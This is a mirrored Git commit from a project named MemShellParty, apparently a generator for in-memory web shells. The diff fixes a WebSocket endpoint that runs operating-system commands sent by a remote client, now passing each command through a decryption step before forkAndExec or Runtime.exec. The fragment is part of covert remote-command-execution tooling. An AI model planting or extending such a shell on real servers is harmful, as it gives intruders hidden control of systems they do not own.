mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
fix: ws command encryptor not work
This commit is contained in:
+2
-2
@@ -31,9 +31,9 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
try {
|
try {
|
||||||
InputStream inputStream = null;
|
InputStream inputStream = null;
|
||||||
try {
|
try {
|
||||||
inputStream = forkAndExec(cmd);
|
inputStream = forkAndExec(getParam(cmd));
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
|
||||||
}
|
}
|
||||||
byte[] buf = new byte[8192];
|
byte[] buf = new byte[8192];
|
||||||
int length;
|
int length;
|
||||||
|
|||||||
Reference in New Issue
Block a user